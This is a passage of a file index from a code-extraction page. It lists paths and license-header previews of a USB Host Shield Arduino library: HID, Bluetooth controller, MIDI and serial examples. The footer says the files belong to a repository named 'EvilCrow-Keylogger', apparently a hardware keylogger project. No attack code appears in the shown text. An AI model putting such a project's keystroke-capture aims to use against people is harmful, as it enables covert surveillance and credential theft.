    "preview": "/* Copyright (C) 2015 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdc_XR21B1411.h",
    "chars": 13301,
    "preview": "/* Copyright (C) 2015 Andrew J. Kroll\n   and\n   Circuits At Home, LTD. All rights reserved.\n\nThis software may be distri"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcacm.cpp",
    "chars": 11286,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcacm.h",
    "chars": 9665,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcftdi.cpp",
    "chars": 11747,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcftdi.h",
    "chars": 5766,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcprolific.cpp",
    "chars": 6712,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/cdcprolific.h",
    "chars": 6693,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/confdescparser.h",
    "chars": 10654,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/controllerEnums.h",
    "chars": 5090,
    "preview": "/* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/BTHID/BTHID.ino",
    "chars": 1880,
    "preview": "/*\n Example sketch for the HID Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: ht"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/BTHID/KeyboardParser.h",
    "chars": 3358,
    "preview": "#ifndef __kbdrptparser_h_\n#define __kbdrptparser_h_\n\nclass KbdRptParser : public KeyboardReportParser {\n  protected:\n   "
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/BTHID/MouseParser.h",
    "chars": 1203,
    "preview": "#ifndef __mouserptparser_h__\n#define __mouserptparser_h__\n\nclass MouseRptParser : public MouseReportParser {\n  protected"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS3BT/PS3BT.ino",
    "chars": 5995,
    "preview": "/*\n Example sketch for the PS3 Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: ht"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS3Multi/PS3Multi.ino",
    "chars": 5476,
    "preview": "/*\n Example sketch for the PS3 Bluetooth library - developed by Kristian Lauszus\n This example show how one can use mult"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS3SPP/PS3SPP.ino",
    "chars": 5314,
    "preview": "/*\n Example sketch for the Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: http:/"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS4BT/PS4BT.ino",
    "chars": 5365,
    "preview": "/*\n Example sketch for the PS4 Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog: ht"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/SPP/SPP.ino",
    "chars": 1648,
    "preview": "/*\n Example sketch for the RFCOMM/SPP Bluetooth library - developed by Kristian Lauszus\n For more information visit my b"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/SPPMulti/SPPMulti.ino",
    "chars": 2390,
    "preview": "/*\n Example sketch for the RFCOMM/SPP Bluetooth library - developed by Kristian Lauszus\n For more information visit my b"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/Wii/Wii.ino",
    "chars": 3638,
    "preview": "/*\n Example sketch for the Wiimote Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiBalanceBoard/WiiBalanceBoard.ino",
    "chars": 1731,
    "preview": "/*\n Example sketch for the Wii Balance Board Bluetooth library - developed by Kristian Lauszus\n For more information vis"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiIRCamera/WiiIRCamera.ino",
    "chars": 4832,
    "preview": "/*\nExample sketch for the Wii libary showing the IR camera functionality. This example\nis for the Bluetooth Wii library "
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiMulti/WiiMulti.ino",
    "chars": 4595,
    "preview": "/*\n Example sketch for the Wiimote Bluetooth library - developed by Kristian Lauszus\n This example show how one can use "
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Bluetooth/WiiUProController/WiiUProController.ino",
    "chars": 3533,
    "preview": "/*\n Example sketch for the Wiimote Bluetooth library - developed by Kristian Lauszus\n For more information visit my blog"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/SRWS1/SRWS1.cpp",
    "chars": 1961,
    "preview": "/* Copyright (C) 2016 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/SRWS1/SRWS1.h",
    "chars": 3129,
    "preview": "/* Copyright (C) 2016 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/SRWS1/SRWS1.ino",
    "chars": 5890,
    "preview": "/*\n  Example sketch for the SteelSeries SRW-S1 Steering Wheel - developed by Kristian Lauszus\n  For more information vis"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDBootKbd/USBHIDBootKbd.ino",
    "chars": 2983,
    "preview": "#include <hidboot.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDBootKbdAndMouse/USBHIDBootKbdAndMouse.ino",
    "chars": 4331,
    "preview": "#include <hidboot.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifde"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDBootMouse/USBHIDBootMouse.ino",
    "chars": 1798,
    "preview": "#include <hidboot.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDJoystick/USBHIDJoystick.ino",
    "chars": 876,
    "preview": "#include <usbhid.h>\n#include <hiduniversal.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include s"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDJoystick/hidjoystickrptparser.cpp",
    "chars": 2704,
    "preview": "#include \"hidjoystickrptparser.h\"\n\nJoystickReportParser::JoystickReportParser(JoystickEvents *evt) :\njoyEvents(evt),\nold"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDJoystick/hidjoystickrptparser.h",
    "chars": 808,
    "preview": "#if !defined(__HIDJOYSTICKRPTPARSER_H__)\n#define __HIDJOYSTICKRPTPARSER_H__\n\n#include <usbhid.h>\n\nstruct GamePadEventDat"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHIDMultimediaKbd/USBHIDMultimediaKbd.ino",
    "chars": 1671,
    "preview": "#include <hidcomposite.h>\n#include <usbhub.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino to"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHID_desc/USBHID_desc.ino",
    "chars": 1524,
    "preview": "#include <usbhid.h>\n#include <hiduniversal.h>\n#include <hidescriptorparser.h>\n#include <usbhub.h>\n#include \"pgmstrings.h"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/USBHID_desc/pgmstrings.h",
    "chars": 2803,
    "preview": "#if !defined(__PGMSTRINGS_H__)\n#define __PGMSTRINGS_H__\n\n#define LOBYTE(x) ((char*)(&(x)))[0]\n#define HIBYTE(x) ((char*)"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/le3dp/le3dp.ino",
    "chars": 1063,
    "preview": "/* Simplified Logitech Extreme 3D Pro Joystick Report Parser */\n\n#include <usbhid.h>\n#include <hiduniversal.h>\n#include "
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/le3dp/le3dp_rptparser.cpp",
    "chars": 1167,
    "preview": "#include \"le3dp_rptparser.h\"\n\nJoystickReportParser::JoystickReportParser(JoystickEvents *evt) :\n\tjoyEvents(evt)\n{}\n\nvoid"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/le3dp/le3dp_rptparser.h",
    "chars": 819,
    "preview": "#if !defined(__HIDJOYSTICKRPTPARSER_H__)\n#define __HIDJOYSTICKRPTPARSER_H__\n\n#include <usbhid.h>\n\nstruct GamePadEventDat"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/scale/scale.ino",
    "chars": 1350,
    "preview": "/* Digital Scale Output. Written for Stamps.com Model 510  */\n/* 5lb Digital Scale; any HID scale with Usage page 0x8d s"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/scale/scale_rptparser.cpp",
    "chars": 3010,
    "preview": "/* Parser for standard HID scale (usage page 0x8d) data input report (ID 3) */ \n#ifdef ARDUINO_SAM_DUE\n#include <avr/dto"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/HID/scale/scale_rptparser.h",
    "chars": 1030,
    "preview": "#if !defined(__SCALERPTPARSER_H__)\n#define __SCALERPTPARSER_H__\n\n#include <max_LCD.h>\n#include <usbhid.h>\n\n/* Scale stat"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/PS3USB/PS3USB.ino",
    "chars": 4722,
    "preview": "/*\n Example sketch for the PS3 USB library - developed by Kristian Lauszus\n For more information visit my blog: http://b"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/PS4USB/PS4USB.ino",
    "chars": 4571,
    "preview": "/*\n Example sketch for the PS4 USB library - developed by Kristian Lauszus\n For more information visit my blog: http://b"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/PSBuzz/PSBuzz.ino",
    "chars": 1317,
    "preview": "/*\n Example sketch for the Playstation Buzz library - developed by Kristian Lauszus\n For more information visit my blog:"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/USBH_MIDI_dump/USBH_MIDI_dump.ino",
    "chars": 1714,
    "preview": "/*\n *******************************************************************************\n * USB-MIDI dump utility\n * Copyrigh"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/USB_MIDI_converter/USB_MIDI_converter.ino",
    "chars": 1711,
    "preview": "/*\n *******************************************************************************\n * USB-MIDI to Legacy Serial MIDI co"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/USB_MIDI_converter_multi/USB_MIDI_converter_multi.ino",
    "chars": 1820,
    "preview": "/*\n *******************************************************************************\n * USB-MIDI to Legacy Serial MIDI co"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/bidirectional_converter/bidirectional_converter.ino",
    "chars": 3150,
    "preview": "/*\n *******************************************************************************\n * Legacy Serial MIDI and USB Host b"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USBH_MIDI/eVY1_sample/eVY1_sample.ino",
    "chars": 1715,
    "preview": "/*\n *******************************************************************************\n * eVY1 Shield sample - Say 'Konnich"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USB_desc/USB_desc.ino",
    "chars": 9507,
    "preview": "#include <usbhub.h>\n\n#include \"pgmstrings.h\"\n\n// Satisfy the IDE, which needs to see the include statment in the ino too"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/USB_desc/pgmstrings.h",
    "chars": 2803,
    "preview": "#if !defined(__PGMSTRINGS_H__)\n#define __PGMSTRINGS_H__\n\n#define LOBYTE(x) ((char*)(&(x)))[0]\n#define HIBYTE(x) ((char*)"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXOLD/XBOXOLD.ino",
    "chars": 3718,
    "preview": "/*\n Example sketch for the original Xbox library - developed by Kristian Lauszus\n For more information visit my blog: ht"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXONE/XBOXONE.ino",
    "chars": 4064,
    "preview": "/*\n Example sketch for the Xbox ONE USB library - by guruthree, based on work by\n Kristian Lauszus.\n */\n\n#include <XBOXO"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXRECV/XBOXRECV.ino",
    "chars": 4469,
    "preview": "/*\n Example sketch for the Xbox Wireless Reciver library - developed by Kristian Lauszus\n It supports up to four control"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/Xbox/XBOXUSB/XBOXUSB.ino",
    "chars": 3599,
    "preview": "/*\n Example sketch for the Xbox 360 USB library - developed by Kristian Lauszus\n For more information visit my blog: htt"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/acm/acm_terminal/acm_terminal.ino",
    "chars": 2325,
    "preview": "#include <cdcacm.h>\n#include <usbhub.h>\n\n#include \"pgmstrings.h\"\n\n// Satisfy the IDE, which needs to see the include sta"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/acm/acm_terminal/pgmstrings.h",
    "chars": 2803,
    "preview": "#if !defined(__PGMSTRINGS_H__)\n#define __PGMSTRINGS_H__\n\n#define LOBYTE(x) ((char*)(&(x)))[0]\n#define HIBYTE(x) ((char*)"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/adk/ArduinoBlinkLED/ArduinoBlinkLED.ino",
    "chars": 2855,
    "preview": "// The source for the Android application can be found at the following link: https://github.com/Lauszus/ArduinoBlinkLED"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/adk/adk_barcode/adk_barcode.ino",
    "chars": 2095,
    "preview": "/**/\n/* A sketch demonstrating data exchange between two USB devices - a HID barcode scanner and ADK-compatible Android "
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/adk/demokit_20/demokit_20.ino",
    "chars": 2381,
    "preview": "#include <adk.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef do"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/adk/term_test/term_test.ino",
    "chars": 1678,
    "preview": "#include <adk.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef do"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/adk/term_time/term_time.ino",
    "chars": 1410,
    "preview": "#include <adk.h>\n#include <usbhub.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef do"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/board_qc/board_qc.ino",
    "chars": 13849,
    "preview": "/* USB Host Shield 2.0 board quality control routine */\n/* To see the output set your terminal speed to 115200 */\n/* for"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/cdc_XR21B1411/XR_terminal/XR_terminal.ino",
    "chars": 2155,
    "preview": "#include <cdc_XR21B1411.h>\n\n// Satisfy IDE, which only needs to see the include statment in the ino.\n#ifdef dobogusinclu"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/ftdi/USBFTDILoopback/USBFTDILoopback.ino",
    "chars": 2155,
    "preview": "#include <cdcftdi.h>\n#include <usbhub.h>\n\n#include \"pgmstrings.h\"\n\n// Satisfy the IDE, which needs to see the include st"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/ftdi/USBFTDILoopback/pgmstrings.h",
    "chars": 2803,
    "preview": "#if !defined(__PGMSTRINGS_H__)\n#define __PGMSTRINGS_H__\n\n#define LOBYTE(x) ((char*)(&(x)))[0]\n#define HIBYTE(x) ((char*)"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/hub_demo/hub_demo.ino",
    "chars": 11742,
    "preview": "#include <usbhub.h>\n#include \"pgmstrings.h\"\n\n// Satisfy the IDE, which needs to see the include statment in the ino too."
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/hub_demo/pgmstrings.h",
    "chars": 2803,
    "preview": "#if !defined(__PGMSTRINGS_H__)\n#define __PGMSTRINGS_H__\n\n#define LOBYTE(x) ((char*)(&(x)))[0]\n#define HIBYTE(x) ((char*)"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/max_LCD/max_LCD.ino",
    "chars": 806,
    "preview": "// Just a copy of the HelloWorld example bundled with the LiquidCrystal library in the Arduino IDE\n\n// HD44780 compatibl"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_gprs_terminal/pl2303_gprs_terminal.ino",
    "chars": 2469,
    "preview": "/* Arduino terminal for PL2303 USB to serial converter and DealeXtreme GPRS modem. */\n/* USB support */\n#include <usbhub"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_gps/pl2303_gps.ino",
    "chars": 2517,
    "preview": "/* USB Host to PL2303-based USB GPS unit interface */\n/* Navibee GM720 receiver - Sirf Star III */\n/* USB support */\n#in"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_tinygps/pl2303_tinygps.ino",
    "chars": 6523,
    "preview": "/* USB Host to PL2303-based USB GPS unit interface */\n/* Navibee GM720 receiver - Sirf Star III */\n/* Mikal Hart's TinyG"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_xbee_terminal/pl2303_xbee_terminal.ino",
    "chars": 2885,
    "preview": "/* Arduino terminal for PL2303 USB to serial converter and XBee radio. */\n/* Inserts linefeed after carriage return in d"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/testusbhostFAT/Makefile",
    "chars": 1901,
    "preview": "#\n# These are set for a mega 1280 + quadram plus my serial patch.\n# If you lack quadram, or want to disable LFN, just ch"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/testusbhostFAT/README.md",
    "chars": 1229,
    "preview": "This small sketch tests the USB host shield mass storage library.\n\n__Note:__ This will not run a Arduino Uno due to the "
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/testusbhostFAT/testusbhostFAT.ino",
    "chars": 31718,
    "preview": "/*\n * Mega + USB storage + optional DS1307 + optional expansion RAM + funky status LED,\n * Includes interactive debug le"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/gpl2.txt",
    "chars": 18009,
    "preview": "\t\t    GNU GENERAL PUBLIC LICENSE\n\t\t       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc."
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hexdump.h",
    "chars": 2136,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidboot.cpp",
    "chars": 7955,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidboot.h",
    "chars": 21296,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidcomposite.cpp",
    "chars": 12848,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidcomposite.h",
    "chars": 3614,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidescriptorparser.cpp",
    "chars": 58835,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidescriptorparser.h",
    "chars": 6899,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hiduniversal.cpp",
    "chars": 13307,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hiduniversal.h",
    "chars": 3636,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidusagestr.h",
    "chars": 54645,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidusagetitlearrays.cpp",
    "chars": 28774,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/keywords.txt",
    "chars": 7989,
    "preview": "####################################################\n# Syntax Coloring Map For USB Library\n#############################"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/library.json",
    "chars": 1185,
    "preview": "{\n  \"name\": \"USB-Host-Shield-20\",\n  \"keywords\": \"usb, host, ftdi, adk, acm, pl2303, hid, bluetooth, spp, ps3, ps4, buzz,"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/library.properties",
    "chars": 772,
    "preview": "name=USB Host Shield Library 2.0\nversion=1.3.2\nauthor=Oleg Mazurov (Circuits@Home) <mazurov@circuitsathome.com>, Kristia"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/macros.h",
    "chars": 4268,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/masstorage.cpp",
    "chars": 42983,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/masstorage.h",
    "chars": 19786,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/max3421e.h",
    "chars": 6448,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/max_LCD.cpp",
    "chars": 7110,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/max_LCD.h",
    "chars": 3045,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/message.cpp",
    "chars": 3298,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/message.h",
    "chars": 2861,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/parsetools.cpp",
    "chars": 2574,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/parsetools.h",
    "chars": 4215,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/printhex.h",
    "chars": 2519,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/settings.h",
    "chars": 6790,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/sink_parser.h",
    "chars": 1173,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usb_ch9.h",
    "chars": 9931,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbh_midi.cpp",
    "chars": 22962,
    "preview": "/*\n *******************************************************************************\n * USB-MIDI class driver for USB Hos"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbh_midi.h",
    "chars": 4092,
    "preview": "/*\n *******************************************************************************\n * USB-MIDI class driver for USB Hos"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbhid.cpp",
    "chars": 4897,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbhid.h",
    "chars": 7496,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbhost.h",
    "chars": 21121,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute i"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbhub.cpp",
    "chars": 14143,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbhub.h",
    "chars": 12062,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/version_helper.h",
    "chars": 4783,
    "preview": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under t"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/xboxEnums.h",
    "chars": 1683,
    "preview": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and mod"
  },
  {
    "path": "license.txt",
    "chars": 18653,
    "preview": "Attribution 4.0 International\n\n=======================================================================\n\nCreative Commons"
  }
]

About this extraction

This page contains the full source code of the joelsernamoreno/EvilCrow-Keylogger GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 180 files (1.5 MB), approximately 419.6k tokens, and a symbol index with 400 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!